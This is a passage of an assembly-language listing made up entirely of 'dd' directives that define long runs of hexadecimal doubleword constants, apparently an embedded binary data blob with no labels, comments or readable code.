3FAECE08h, 0A5EED800h, 3D4ADA4h dd 96CD762h, 36E0C3FFh, 5B033540h, 1D3E4C77h, 22100F37h dd 0C5008D33h, 0C6C8773h, 0EEE019C0h, 13EDCCh, 41B9DA0h dd 7D25E327h, 0CA69E43Fh, 0DB03BC00h, 1D53D61Eh, 0B846C4C2h dd 35420200h, 16793993h, 14257224h, 3016D42h, 60BF855Ch dd 1DED5324h, 0FD35F300h, 6719A358h, 0CB0E007Dh, 92B4E530h dd 0F0012BC0h, 0B962036Ch, 8830D23Dh, 0F1AC010Dh, 7CF7E9E6h dd 0A7F3602Eh, 654EA400h, 17941B50h, 6DA10326h, 143BB382h dd 8BFC115Ah, 93002E4Ch, 1AB51016h, 0A57BD91Bh, 3E541200h dd 0DD417825h, 1D718Eh, 96F05B8Bh, 86FB7AAAh, 6400AE77h dd 17DEFC2Ch, 0E9E737h, 3F89C816h, 9B617BCEh, 0B086631Fh dd 0BE078440h, 0A1DF3Bh, 0ECF8BD6Ch, 0C55DFEFCh, 420ED5F2h dd 474804C8h, 0DA0D0C7h, 0E2DFBA07h, 9B1C00FEh, 303850B8h dd 1807825Fh, 0F564BDF4h, 6F9560D0h, 732D0068h, 0A37D78BFh dd 0E83A1B37h, 20778049h, 53C946A2h, 0E344B631h, 0AE912394h dd 6202708Ah, 0D32A2F07h, 2CF05A8h, 545285DEh, 5F9400FCh dd 0E75BC188h, 577D1506h, 1125BCh, 0C67F82CEh, 1BF0E1A7h dd 0FAA5D500h, 5E080724h, 0DF5C008Eh, 46BF0B76h, 0EA0AF1B3h dd 0BC393B6Bh, 652CA7E0h, 595A3A4Bh, 0E6F2AE00h, 0FB317502h dd 86CC9D00h, 0E0C9230Eh, 0D6F0F0h, 8921C0E5h, 0F70F5944h dd 864D9514h, 8E1B04B3h, 0D4A0FAF5h, 0FFCB189h, 1143C534h dd 258037ABh, 4090081Bh, 64662E25h, 5B7F18h, 12E3F44Ch dd 0AB69074Eh, 2EBCAE00h, 2DD77C43h, 5D580096h, 2B91BFF4h dd 7224F597h, 510744EBh, 54C117B7h, 0E0CE707Eh, 60906D98h dd 0F7722139h, 0CA580133h, 79F3C028h, 17DF80B7h, 6E87A7h dd 993DB24Ch, 9A03660Bh, 8D7D049h, 600ED801h, 935B058Fh dd 0D3E0CBh, 0D97F38D1h, 870B1C59h, 2E8FD24h, 0C06298AFh dd 734E9C18h, 301A5833h, 0CDCA1300h, 54F85935h, 0F4B27901h dd 7211F15Bh, 0D210D4h, 0DA803E5Eh, 1FFBB56Eh, 0A59C603Ah dd 873C90DFh, 23902C5Fh, 505B00AAh, 22A59A0Ch, 6200A9E0h dd 0C6CD8E30h, 3AF6C7B3h dd 0A780F2A8h, 96212F1Ch, 8100044Fh, 0BCA0BF12h, 84852Ch dd 0D08E11D8h, 39A665CBh, 4CDFA22Ch, 51C17780h, 3C91F35h dd 451B9AA3h, 4398F4A0h, 0DFEEAB99h, 0E4F5AA00h, 0D3D56EDEh dd 4AF201A5h, 5A8515DDh, 81D03052h, 72D337Ch, 406C84E5h dd 0D8760880h, 0B3E00D7h, 5D05C849h, 14F4625Eh, 9478BB2Eh dd 0E869C101h, 3864129Eh, 99888F3h, 0B64052F4h, 6A8B009Eh dd 3EF88C35h, 0A207B7AAh, 4A4054A6h, 0AD838500h, 0ED4F3AEAh dd 0AF8D0400h, 67DDF41Dh, 5F2F3Eh, 0CEB7B4D7h, 5B5695h dd 0AA081944h, 0F16C7C53h, 0B6E77200h, 12ED745h, 0AC600026h dd 1AC34EF7h, 3E006A3Ah, 0FACA0747h, 0F1CB44h, 250E87F9h dd 75EDAC3Dh, 883D03E2h, 8DC29690h, 28DBEC00h, 3CB0676Dh dd 1C82150Eh, 0EE2CDC29h, 0CCD983E0h, 0E9F9E200h, 0BAB5C0B7h dd 2DE300ACh, 0A52E9E9Dh, 99A047F8h, 11CCDBCh, 80BF780Fh dd 0C17FFE9Ah, 1FE2D2CEh, 0C55ED7DAh, 0AE8742h, 0FF07ACE4h dd 4F046433h, 0D7BBB8D3h, 0E4ADE8E0h, 0A72E0170h, 35B4F21Dh dd 0E8A4498Fh, 0C6383BA5h, 0CFE38016h, 366BF6B5h, 9E1407F1h dd 0F385ACD0h, 3EA84513h, 3100F990h, 74F2567Fh, 7BA51A94h dd 4BAD9030h, 289CC0D3h, 0A0E6C2BCh, 82970605h, 0C8408CFCh dd 0A664D12h, 0ADD2005Ch, 2E4C6FDBh, 0D402DD72h, 0F25DF0E3h dd 0F3F4A08Ah, 0CCA8F33h, 0CDFC53BBh, 5F13B288h, 4481AE08h dd 49304C20h, 38CF0015h, 0DBE0ADDEh, 0C700B8B5h, 1F8C65FAh dd 0EA30C6F1h, 8A1400EBh, 0BDBE0894h, 6C00F309h, 8069F01Eh dd 813076h, 0B2EB7BF1h, 7F168BC6h, 44000E7Dh, 0AC01BD85h dd 27865561h, 1402A204h, 5C541D49h, 0A80AE65h, 701A0CB0h dd 6D890019h, 0BB7DAA65h, 4F7D2B88h, 0E31BD60Eh, 2EF121FBh dd 74E83109h, 2D31DF0h, 0F5DB80AEh, 9C6B5669h, 1C29DE00h dd 0C56083A8h, 0EC300143h, 34693D3Eh, 0EA70E8CFh, 5519A003h dd 0C85FE5F2h, 0F81ABCh, 8DD63326h, 230C5CE6h, 5B5E8C00h dd 61361C14h, 547100B0h, 69305B5h, 0B9008225h, 6984CE1Ah dd 17AA87E3h, 0C7F3FBDAh, 28007BCCh, 568A12B8h, 0EF43BB00h dd 0A05B82B4h, 0B0E20008h, 0C66504BFh, 0F31EA64Eh, 3B92B5Dh dd 2858DCC8h, 6BB6F89Ch, 41482E3Dh, 0B14B005Ch, 38D67853h dd 9227E800h, 1CA43601h, 4691126Ah, 6084F08Fh, 509B3800h dd 0E520817Fh, 7B010037h, 0D878C774h, 0C0007192h, 23C4EF27h dd 5FAD314h, 9BEDEC28h, 8FD04309h, 0CFC04C97h, 0EA0494A4h dd 0DD980735h, 8C002CACh, 0FCA28A51h, 0B70FC0D9h, 78238Bh dd 27F59C05h, 16EA1C99h, 816602BBh, 80C0FF9Bh, 2C0348E1h dd 0B9410604h, 0D78F06Ch, 5A700008h, 90D23F07h, 0C900C6F3h dd 0C8DC6DFAh, 2FB692h, 0FBE59DDh, 78F16FBCh, 6826541Eh dd 0A82B2873h, 126E627Ch, 0D0EB579Ch, 0BFC76D10h, 9BF71400h dd 1FB5C270h, 6EDB03B7h, 27FB8DC8h, 6101D678h, 213DCA1Bh dd 52A932Bh, 0A0FCE838h, 7C9A43ECh, 5CEECB1Dh, 1CB05452h dd 711799Eh, 0F48B21B0h, 0A4138032h, 31751F99h, 0B11318B6h dd 0F58AA801h, 40E2BA08h, 6B1FF2C0h, 0B8E07A41h, 6107EB80h dd 8CBFE6D2h, 0AD458840h, 7B6200FAh, 0A8E49011h, 21764AF7h dd 97FCA61Fh, 3FD7FF40h, 0FA76C12h, 42964E32h, 100C4023h dd 0C17ED4DFh, 0F0AA99B0h, 700B435Ch, 0E9DDFE3h, 0EBD8602Fh dd 0F3E68Ah, 2FC19F4Ch, 0A8FE1415h, 626F2E00h, 4035F1DBh dd 19FA0794h, 179761Ch, 0E8DE3D82h, 4A13C5E5h, 59090EFCh dd 1F26003Eh, 0AD78D0h, 25F8C8BFh, 876E3418h, 0C0AC8003h dd 0C889FE7Dh, 0D78CE5h, 36A9884h, 0D521ADA7h, 369DF500h dd 3ED06B5Eh, 584E07E2h, 8030C4D6h, 0FC34B12Fh, 157D6D00h dd 0E55E3883h, 1766Ch, 26663137h, 0B75751AAh, 4940B500h dd 0F9A11C02h, 0C1D3003Fh, 27386C19h, 1E172D8Dh, 0F40001F7h dd 0CD82DEF6h, 7D42002Bh, 0B82E0990h, 5B01A5D2h, 0E0E17CF4h dd 0F2804660h, 7D84D8ECh, 0C6005010h, 0D67781A3h, 0B9A555h dd 0C8797ADEh, 38DBD76Ah, 184C8C01h, 0ECEB0EBBh, 0C12D8BDh dd 37110028h, 0F1A9FF97h, 0D201E2FAh, 84C4A28Ch, 0CE30C568h dd 96B303B6h, 0AFBF1B69h, 224A1A02h, 40A70212h, 0B32EB1h dd 0C35E82A3h, 0E6CBBBD1h, 0D52CCEE2h, 800F1CCh, 538CE77Ah dd 399883h, 0AAB759ADh, 2D9BC1C2h, 990C1A00h, 3D215BE9h dd 0F18D0F07h, 55A31459h, 69A087BDh, 0D20CE6A1h, 7830B3B9h dd 7580025h, 0E25943B4h, 0DA9040B7h, 868C3F00h, 4F4A57D5h dd 998524B0h, 0FF873E14h, 30C2E6DDh, 0C023F641h, 97F15600h dd 0BFE58274h, 35610145h, 1EC9E96Ch, 6ECAD883h, 0DFEC0C00h dd 6AC6A5E1h, 8F6400E2h, 32DC87B8h, 701C5D92h, 0CDC04583h dd 50E6D0Ch, 3F9B00ABh, 9CD52E99h, 29000A8Dh, 7EDE35BEh dd 60E93708h, 802150CEh, 0CB004B0Fh, 5A9273ECh, 227011h dd 51E0D7B8h, 9F2E3E58h, 0D87E9801h, 0F80D3804h, 1DE83230h dd 40E69980h, 0C9D1AFDEh, 0F017E4B8h, 770021BEh, 3CE3D7E5h dd 0F8470084h, 0A37A4D85h, 0B4009F7Bh, 0EE705BB8h, 0BB5040h dd 4CA0DE93h, 0C61F18BCh, 26036AF8h, 64AD4643h, 891AC031h dd 74AA0EEAh, 0D414113Ah, 0CF9CEC00h, 0AC046FCCh, 6CD45102h dd 802C39E3h, 0B7B188E5h, 3A3400C5h, 0BDB677FBh, 7800DE4Ch dd 0EA25D229h, 3AB5248Dh, 0A4D2F0F2h, 4108E200h, 75A04472h dd 86BA1C04h, 0B884E081h, 56BCF80h, 33D61253h, 0D4B4049Ch dd 0D84B80AFh, 3001EEDh, 2D46B53Ch, 286A9497h, 76CC2B4Bh dd 1E8F2CEh, 0B584D7Eh, 87D1DB76h, 8D4EE3DEh, 2B5BB7B0h dd 0C220C081h, 0EDD004B0h, 1E5F0601h, 0E960AEE4h, 0BBE220h dd 17C5FB96h, 8E44B75Bh, 0A18DFA30h, 260E37Fh, 0CA77F9D3h dd 6B602F30h, 0F4006CE9h, 1D41532Bh, 9E8D3BFh, 31DE5E60h dd 0B49B6000h, 0E22495E1h, 5F0484D0h, 180013C5h, 9E43E001h dd 35D9A300h, 83632C71h, 0CED701E3h, 328F53B4h, 92844068h dd 0EF0145DEh, 29A6F95Dh, 0E9E07EB9h, 0BC80A04Dh, 42910058h dd 0C811B641h, 0FB00407Bh, 0CBE66EE0h, 18B4C6BBh, 0C8B83C30h dd 0E754EBADh, 4C01958Ch, 0BB0ABAB7h, 25C42D18h, 5CB800EDh dd 0D3C73DF4h, 5605405Ah, 1D0E244Eh, 39810280h, 0DD3A00AAh dd 286FE263h, 0FB0007B1h, 0BB45D4Eh, 9038BE7Bh, 4F110C28h dd 0D4F1E36Fh, 4517741Fh, 8A40579Dh, 11ECC49Bh, 0EF8BD14h dd 4D0F721Ch, 6F09DA42h, 0D02049EEh, 391CDC30h, 0AE806D82h dd 3465C92Ah, 0E524487Bh, 0CA0028F3h, 1C73B84Dh, 9F534CA2h dd 48012B3Ch, 0AED72AA9h, 4BF880D2h, 22C3142Fh, 0FD2D000Dh dd 0F073E772h, 961D20A7h, 334559A0h, 0C440BBE3h, 6C2AC3DFh dd 5E490392h, 12FA6694h, 0C75D86E8h, 0CC7A8B19h, 23C09258h dd 0CEEE05h, 67DA10ECh, 0A471AA14h, 390939h, 96A850E7h dd 7CBA01h, 21792D1Ah, 35A25D6Fh, 829CF005h, 488077DDh dd 1EA49170h, 0C0CC044Ch, 311D98A8h, 0F7011A55h, 47FFD324h dd 4D618B8Ah, 54E5DCh, 66A5D27h, 0F29CEA6Ch, 0CF90F600h dd 3E0E502Eh, 0D5B700C2h, 9309B31Eh, 0AD005910h, 405FEDCCh dd 0F960C8h, 3F612DA2h, 0AF0C19FCh, 0DC1E1503h, 0E09EA352h dd 3C9DFAh, 495B3E4Eh, 74C63FA0h, 36ACF600h, 0E2861227h dd 89CF00D8h, 7FC40354h, 0AE00328Dh, 3D6DF392h, 7132446h dd 499A7491h, 79CB7085h dd 3500277Ah, 6B2001A5h, 691C28Ah, 97D292DCh, 1A1288FAh dd 1C1E17E5h, 7C9F9600h, 0B87F6A5Eh, 0ED3B1FB2h, 4F6C0798h dd 5242837Dh, 21D42878h, 0FC930C6Bh, 89206Ah, 8ECD68D7h dd 0C813880Fh, 19D51700h, 0D230FE08h, 0FD2600C4h, 0DA440458h dd 0A47A41C9h, 0B580C600h, 0A327E137h, 429009Fh, 266D0D5Ch dd 0DC50E95Dh, 48E85930h, 58C71A28h, 9D289418h, 2018C9h dd 0B2B1F0FEh, 5DE074E9h, 212CEA00h, 0E9E54B3h, 0DD90007h dd 95B248B9h, 0DF002496h, 789BC6FCh, 26542Fh, 8435AAE7h dd 4811A890h, 25558600h, 9DE57528h, 0E23A005Eh, 0FCFDF16Ch dd 0CC01C4F4h, 1986FF0h, 36C808A2h, 0FE260E88h, 7A8F79DCh dd 0D95A7C60h, 2C008F65h, 544E0134h, 7C64AC4h, 0C72BD39Fh dd 421909Ch, 0FD00ACCFh, 556DE527h, 852591h, 29CA4C8Eh dd 4A98DE14h, 0C0690B2Ch, 0C700AC9Ch, 2857FF5Bh, 5CE7321Eh dd 0D880AE08h, 0C6C94C19h, 0F8276C00h, 3D4B7B2Dh, 427E008Fh dd 0FF142226h, 0E800F0B4h, 0A88A0E86h, 0D31F7Dh, 2F69E3DCh dd 6E7112E0h, 58B02898h, 9444EF15h, 587900B4h, 5791EED8h dd 1A6819F7h, 24420848h, 52005B6Ch, 476420D8h, 0FFD559Eh dd 697296C2h, 81DC144Ah, 0F51D7F19h, 0B8086F1h, 30B97B94h dd 1B490C5Fh, 2200F6EEh, 1A3C6960h, 7B2E08EAh, 980310Dh dd 8003E938h, 191DD51h, 284EFFE5h, 3FC5C89h, 2D811CA4h dd 13B16F8Bh, 0D867E33Dh, 0AC8F9ED0h, 168C102Ch, 78B0BBh dd 0A4CD078Ch, 0FE705515h, 423D7101h, 0DA5E04D1h, 0B3F1E8h dd 97CC6FBFh, 0B8D25EAh, 0B0ED8E00h, 0F2061B4Ah, 0CD090F9Eh dd 6640017Bh, 0D423FE86h, 0C196C800h, 7705F30Fh, 5B8B0091h dd 0C43EED9Eh, 441D1B37h, 19005368h, 0E17C11ABh, 46D61CF7h dd 4EEECC35h, 21C03B08h, 0E6E2442Eh, 0E2003B6h, 9FD18098h dd 1AFD6288h, 2833DF30h, 167BC4Bh, 910FB6E2h, 8771DAEBh dd 96210718h, 1EE1AA80h, 6A32163Bh, 7DE90060h, 5A43DDB3h dd 3198B0FFh, 0FA258ABh, 97EAD1C0h, 166BB100h, 7860CBA0h dd 0B7CAD870h, 18B07C39h, 0D056DF9Bh, 296033DEh, 0F25ABC49h dd 0C6770164h, 84A76D4Eh, 0E3DEE805h, 0CEBF3F00h, 50A324FFh dd 0BB6600D1h, 0C43DFB92h, 0DB077259h, 0D60AB364h, 0C5939710h dd 223A06ECh, 10966836h, 7046653h, 0C3120CD5h, 0EF6B1AC0h dd 730503B3h, 3A89D940h, 0A801909Fh, 0C679873Bh, 269C9500h dd 7FCD3F84h, 0B09307BAh, 0B0120E30h, 0A6AB2F6h, 4744A00h dd 561FBB09h, 0CB3C00D6h, 0F2E4181h, 0D31CAC01h, 0EBC01005h dd 0D14A7597h, 0BE0600FBh, 2656D9E4h, 7906076Bh, 2C45DB33h dd 0DD9400CCh, 41A17315h, 0A200907Dh, 808235C5h, 4C3DDF9Ah dd 6C3D989Ch, 8AB41300h, 0F51071A9h, 6DECE200h, 548C502Dh dd 0C97B034Dh, 83462FDh, 67A298C8h, 9CD2C21Ch, 3DDC1487h dd 1BD5C9F0h, 24BC007Ah, 3C0CA498h, 3E1C4340h, 53C085ECh dd 1E2A2EB9h, 4BB500AAh, 94756434h, 831C5DA5h, 555CFAD1h dd 0F130BF40h, 844EAFh, 71D72378h, 0F7F844C7h, 3E96A507h dd 61205470h, 7DC4B3h, 16426CB0h, 2CB48F4Eh, 3600247Fh dd 9EE2CAA5h, 0E4921FBh, 14B238F2h, 590B1D00h, 4638874Bh dd 0BDF98103h, 69383ECCh, 8BEBEC40h, 0D4850097h, 0BA41FEC2h dd 0D1036C7Fh, 8776E81Ah, 0A9110047h, 0BA8ECA82h, 0E5EBF29Fh dd 710C246Dh, 3E982D00h, 69EDF4DEh, 39AA0026h, 92D7F6DAh dd 0A01491B6h, 97AD22h, 3F7C5FB4h, 0E17151h, 4D658333h dd 7B6F64E3h, 5BC9C00h, 7916A6ABh, 6132384Fh, 0C6237701h dd 804AF09Ah, 0E5D60C5Ch, 1E7AFCB8h, 0CC213E86h, 61A94B14h dd 0BA0744FEh, 0BE65925Ch, 6D2F0920h, 0F2A1C3Eh, 18DBC08Bh dd 67A6E9FFh, 0EF006372h, 0E39EDD3Bh, 3D205396h, 560039ABh dd 88ADA2D2h, 97007549h, 0B61E0D36h, 682701h, 0FD702F85h dd 0AD676ADFh, 2200597Ch, 0F3D08D4Ch, 594D72Bh, 75D4B820h dd 23980218h, 0BF0097FDh, 60994676h, 8741C15Ch, 500BEAFh dd 4FEEE5FDh, 0C7EF7DADh, 40F6BBD1h, 0FF8983Ch, 0A2494807h dd 0EF478BA3h, 5D113660h, 7E1D00DEh, 606D4D61h, 41004047h dd 8FFAA7B7h, 0AF9B27h, 584292B4h, 31A0EA68h, 2059B500h dd 9DC42A6Dh, 0EC3B4834h, 502B9600h, 0F4CF707Bh, 5FD1A12Eh dd 15BEAD00h, 0B225D9h, 3A0E64B0h, 0FB08BF95h, 0F0FC383Fh dd 9D00C891h, 102757A3h, 5CAE011Ah, 0F30C0D37h, 0D13CF30Bh dd 232D07E9h, 0D0208B82h, 48882CE4h, 0CF015C84h, 8A8301Eh dd 8010BB85h, 0EACB20B8h, 0FD35601h, 318FE0B3h, 4795DDE0h dd 0C33A64C9h, 549A269Dh, 6E4FCC80h, 8834FBh, 0FDF4580Eh dd 815CE905h, 821ACA00h, 0A77C2C6Fh, 0E5777Bh, 3D9B2BE0h dd 81966426h, 3186B303h, 0BBD69F7Dh, 2BCDA0FAh, 485B3B1Fh dd 0D1665680h, 0C5291FEh, 95695400h, 0CA6D35EDh, 0A799003Dh dd 4F4203D0h, 0EB00D55Bh, 90F44589h, 0EF4796F2h, 0B45FCCh dd 113F5E0Eh, 7704D7D0h, 6209300h, 8A0AA8EAh, 159E00F5h dd 22E79660h, 0E507FE3Ch, 0F9C0CCD1h, 0C3121922h, 6ADEB9B9h dd 3DD5AC20h, 10BB43EDh, 5C02AE00h, 0C0CF6E3Eh, 0C3131500h dd 21995F2Ch, 6BDD0746h, 60F1CECDh, 0D9B4551Eh, 0AE508E07h dd 2F305CE8h, 0A0BE27B6h, 1C1CA9A4h, 28C2355Bh, 13450190h dd 0FA9F5812h, 0B17CE09Ah, 0C240E300h, 0BBE1783Ah, 0A7AEE90h dd 0B97ECFAFh, 0DAEA808Ch, 0D9F9367h, 8EFECA00h, 5560642Bh dd 0DCA500E8h, 0B4077E16h, 5301EB0Ah, 0B30F5834h, 0F5C0C3DFh dd 0BC2200ABh, 0BF9A6830h, 0C0009765h, 0B64990FDh, 1E244B9Dh dd 9BFE3BA2h, 88C0F8AFh, 1E18C13Eh, 3AD016B7h, 0B3320559h dd 974A3109h, 801E2564h, 332CFBCFh, 0DD443000h, 2ACC7DE4h dd 24DE3AFEh, 0E8701699h, 0BF4097BDh, 2D87AE1Dh, 0E4B1B94Bh dd 0F74074F1h, 7F861Bh, 0EDC3C898h, 0E6AE31B7h, 1D37474Ch dd 51022325h, 422CB67Ch, 2D154093h, 0EBCD006Eh, 6D28ABB3h dd 3F0101D1h, 70D9E0B5h, 24305D98h, 0CEBC6011h, 4F90734Ch dd 479B690Fh, 39AE20DBh, 30C3D82h, 0ADAC489Ah, 74A81886h dd 31819F8h, 78E963E3h, 5629001Eh, 0F1C3871Ah, 7C904C65h dd 43F97100h, 0A6CF080Ch, 19025C8Ah, 9D89728h, 3FBB20F2h dd 84CD0980h, 2DF867DCh, 51F06600h, 7041F962h, 63D6006Eh dd 20C12587h, 3B005E79h, 0AE9023E6h, 36B5ECh, 0A6D26465h dd 9E0630FCh, 0D604DE00h, 0FE23147Eh, 94400BCh, 1E8B5BEAh dd 6200F694h, 32026512h, 0C0369Eh, 2E3B8633h, 603F4AD9h dd 0BC179B00h, 637B8022h, 77938D5h, 69B83B00h, 5C20E09Ch dd 0C8C20203h, 0A81E8C99h, 0B49A3E5h, 7A316158h, 916E0082h dd 10A06063h, 0DF078614h, 29389CB9h, 60495AF2h, 2760F1h dd 6FCBA415h, 8C0BFD13h, 0D43D6878h, 6098F6BCh, 9F7A3EE0h dd 0B7AA6200h, 788F5AF2h, 76325D5h, 733AD57Eh, 0C811A00h dd 3CC80B3h, 0BC1C0F6Ch, 0F2803256h, 7849DF84h, 0C0985000h dd 5B662238h, 0F37B0085h, 0FD4A3F8Fh, 0D9092118h, 988D3Ch dd 9DAE818Dh, 42CB07Ah, 0FCF2C5E0h, 1D9C90B3h, 0C700D877h dd 59661B7Bh, 8EF17Eh, 84823180h, 0D73ACCCBh, 192E1A00h dd 0F5A12692h, 8DDA1764h, 0B13020F6h, 4900A4E1h, 0C1F3D7BFh dd 1F7AECh, 69353D4Eh, 3C13C9E4h, 98BFF607h, 7AB07E46h dd 7C45CDACh, 0F9B9003Bh dd 0C2A7EE19h, 8C0FD7E8h, 2B2182E2h, 37EDFh, 0BDBC2894h dd 0BF001902h, 22D01E06h, 74399EB6h, 0A04C0B85h, 35A14ADEh dd 205217D6h, 12004038h, 379DAFCCh, 7E3AD8BEh, 1EA7126Fh dd 9BA00058h, 0CEF70FDDh, 75E7AF00h, 3D3CE9D7h, 2AAE0298h dd 6E13973Fh, 0CAD654E8h, 6C502C02h, 0C0B8AC6Fh, 0F3F2F60Ch dd 12589CCh, 8FC29C7Ch, 0F06C30B0h, 0F824BB45h, 99891028h dd 0D5130119h, 56ECEBEFh, 0B0E3066Bh, 6093BB42h, 1C266609h dd 14A040FFh, 910F01A2h, 2C1A9D06h, 1F3EBEDCh, 2B4E8274h dd 0C128DB10h, 88C0B3D2h, 0A3621F08h, 46EC010Fh, 0F46DA792h dd 831D20B1h, 9C01CD6h, 0D3EE1F37h, 98230097h, 0E2C3B3EFh dd 0DE58DB54h, 1DE1017Ch, 3E5B1E76h, 3CF2F4h, 7EAD9A03h dd 42FBC945h, 0E45D700Bh, 8C7900D5h, 0C03B10B2h, 0BAE39459h dd 68A0AD42h, 0FF07DE01h, 29777BE1h, 204383E7h, 0B8804DE4h dd 8DD212h, 1C2298FCh, 0E51D9F45h, 0BE4099h, 0F4119C6Bh dd 7B396A7h, 3C1415AAh, 908B3758h, 5E0D8D2Ch, 52686D00h dd 0CE342371h, 0C4EE030Bh, 0DF28E2E1h, 41E9609Bh, 0E6F0D006h dd 70A01700h, 10E36FE9h, 945C0667h, 0B182D12Eh, 0B438B61Dh dd 1F5F81BFh, 1ECEFB7Dh, 2180B3D1h, 2FB4013Dh, 8006E10h dd 0EBC44EC9h, 2479A059h, 3AD96713h, 7DB2BD81h, 0A480ABFFh dd 7F00E439h, 4C2CA2D2h, 7473013Ah, 5085C86Ch, 9E177182h dd 94CFF830h, 4974EC5h, 3C9067DBh, 1DD7586h, 782B4C1Ch dd 9253E401h, 880AD08h, 4DD0D3Bh, 19D0EF8Bh, 5857C6F3h dd 9487C120h, 0A4C80C8h, 0FCF1C766h, 67190C00h, 79258EE3h dd 0C81102B4h, 13747851h, 0D0358CA2h, 11B3FB18h, 8457E31Eh dd 56009450h, 0ABD6B3C4h, 0D7D5FE1Bh, 1A7F8099h, 0E2AB007h dd 5E817ACFh, 541E7CA0h, 67000E6Bh, 665103F7h, 604EBE95h dd 0A66C8876h, 417BA7EAh, 0C0247C00h, 86F33931h, 30340083h dd 29454618h, 0AF785313h, 0CB5ABC00h, 0A2D48791h, 0D9590089h dd 53B4D28Ch, 473A9E3h, 5CAF2700h, 0CE1785F8h, 6C7D005Bh dd 64C96574h, 0AE30F579h, 47E9A459h, 0CAD23EF1h, 4A337800h dd 9D44DB9Ch, 5299B500h, 0D39FDFBFh, 35E500A1h, 786571A9h dd 70015DCh, 77D71692h, 0A8868Fh, 0DF724FD1h, 0AB34A276h dd 0CC9D3C18h, 705238h, 88DA947h, 26B3C6AEh, 0CF63B50h dd 7518C098h, 6580912Ah, 8001308Ch, 9DEDAA9h, 39E8213Ah dd 2E2480BCh, 56AA274Eh, 0FA473896h, 0A0DD8798h, 0E700CE4Bh dd 7BC2AEA6h, 1F6E2927h, 8E17337Fh, 4060DE58h, 47BDCCE5h dd 0F1DFCBE0h, 65622740h, 606E4B7Fh, 0DFD87969h, 0DB0093DAh dd 47139B0h, 0ECD3235h, 12BDCE3Dh, 48151141h, 9D8D8E5h dd 5049B00h, 0CB20B9F5h, 42B84Eh, 0BDD1FC17h, 72426C3Fh dd 1886B33Ch, 261025FDh, 494A0E4Fh, 77D88AEh, 803C6F46h dd 0A9A59A08h, 8A91609Fh, 0CE84005Bh, 0F4F16C8h, 0CC067009h dd 6E5633B8h, 0C463A40h, 6FAF630Ch, 94000E11h, 6E083B17h dd 66F14528h, 69B6089Dh, 420D70FFh, 737B9073h, 0C0A6BE03h dd 0DDD879h, 0EF68358h, 2E3D1DA2h, 2470EA0Eh, 72E5404Eh dd 0E6E4648h, 0F8085A6Ah, 7AE37500h, 8CD84C9h, 166060D7h dd 77080194h, 7164D71h, 14C6E889h, 0CB639328h, 39DEAF0Ah dd 0CF00843Dh, 0D6F5AB2Eh, 0E49D0043h, 0D5BC3B8Dh, 0C10081D4h dd 644799CDh, 4F036Eh, 90536361h, 0D3D51CE1h, 0A158600h dd 482F17DFh, 0AEAC48C7h, 5D041068h, 0F1EE8686h, 0A0D50010h dd 3306CE97h, 0B6078372h, 9A8ADB50h, 0F9A95931h, 0EA5FEEC4h dd 0B73F0E39h, 0C449AB05h, 0DAB6A280h, 0FC0078EDh, 615D7CCh dd 0E6D4946h, 54B0A83Eh, 4AAB61E0h, 39FCFB69h, 216A4400h dd 86D17668h, 0D7B8003Ch, 507EE714h, 0EC003715h, 4B059B1Ch dd 5CC32B90h, 0DF0E295Fh, 0A1A097F0h, 3635BDA0h, 0E864C200h dd 0A9521AEDh, 69011C7Ah, 89250114h, 0F0656EE3h, 6C009FBEh dd 8343EB9Eh, 0ED3AC8h, 37148DDFh, 34E7FA8Fh, 7EDE9706h dd 30785Dh, 4AEFF535h, 0F4999D58h, 69551A09h, 0E15F0B8h dd 0C7A3AECCh, 65E00CEFh, 0D525335Fh, 7B70E71Dh, 3A6FB7C0h dd 942CDFh, 0A3FAA5F5h, 36DC806h, 4E72A100h, 1509FC2Eh dd 2A900518h, 44E0C5h, 34AA4DC4h, 913E0B0Ch, 7EFA8F53h dd 20728FABh, 0AEBA5D45h, 82323F65h, 9FD52D80h, 28361E5Ah dd 0EA70CB14h, 0B40928E8h, 0D297C300h, 0BF7D6948h, 515E28CCh dd 10C78ACh, 490F4058h, 80665A3Ch, 0F7C676F0h, 3FC4D2h dd 98F95C89h, 8D68AA86h, 0EAB6712h, 1AD61840h, 0CB5BAACh dd 430175A8h, 0CF001C60h, 0EFCD6C24h, 1D42ACAh, 9C3A5A13h dd 0E0720EC7h, 40031BF3h, 0B18528ADh, 0D0F180F5h, 0A068E6A0h dd 0E6EAEC95h, 0CECFD4Eh, 7A90A1h, 0AA442170h, 7565E8CAh dd 57043Bh, 830DC66Ah, 0E96FF8h, 8A38C555h, 0AA641028h dd 5AC1FC03h, 69684Eh, 0B1D249D8h, 2617C6FBh, 7F2B5500h dd 0B2721DCh, 0B7E4C3h, 0C0AA0E34h, 0BBCA7BC8h, 6754A600h dd 18BA9EEEh, 0D8C507E6h, 791D8E80h, 6D5C9800h, 7518CFFDh dd 0F0A01F12h, 0E3E08Ch, 0E78F3C1Bh, 84F25E05h, 672AC57Dh dd 0AEF2F88Ah, 0FE543F00h, 5ED3C1E6h, 7BAEA78h, 1CAA79CEh dd 9096206Eh, 44482BFAh, 0BB4A0404h, 2680B9E4h, 0F6C628CFh dd 6FDA5CBCh, 974E1B07h, 7D68607Bh, 150E783Eh, 0E050EC55h dd 109B27Ah, 49CD00FBh, 9966BB52h, 1F004DF5h, 19B4D8D2h dd 6926Ah, 8AF9BAC0h, 9A3D6896h, 46352000h, 473F23C8h dd 80CC0103h, 28564453h, 888DE813h, 304DE48h, 0F9BD1AFAh dd 2C90EC7Fh, 10D5E71h, 93D58832h, 0CAC198F8h, 45507AE0h dd 0EB01E8E6h, 0F76D9021h, 1C20595Bh, 135600DEh, 413A8AA4h dd 0D90FD62Ah, 41C4291Fh, 0F6165999h, 6A312887h, 0C0D70101h dd 0ECC7C08Fh, 0C47CDB1Fh, 47814F58h, 5E2A0054h, 0FEB06E1Dh dd 0E401D43Fh, 929BAC40h, 8202924h, 0D12214E2h, 6500DC30h dd 23357585h, 500D871h, 0D7EA80DAh, 17489C9h, 3A26B83Dh dd 34F12F42h, 0EC30C498h, 0DA0AD0F7h, 7A831C22h, 9CD6C0E2h dd 59765D0Fh, 0EB652500h, 0ABD0397Bh, 7F6A0194h, 73E807BDh dd 3F16D485h, 0F225E500h, 1364EE54h, 619300D8h, 0F7A8C031h dd 0A600D746h, 96D5C938h, 1D2A83h, 15C81F42h, 48840C92h dd 0AD576F03h, 0B0708F12h, 0ED8F547h, 0B7CDF6FBh, 863D29A0h dd 0A400BD7Ah, 0B0B6FE1Ch, 70544Dh, 844563Fh, 906787AAh dd 78283900h, 719F380h, 0B2F71DBAh, 0F0174036h, 1B427255h dd 23448404h, 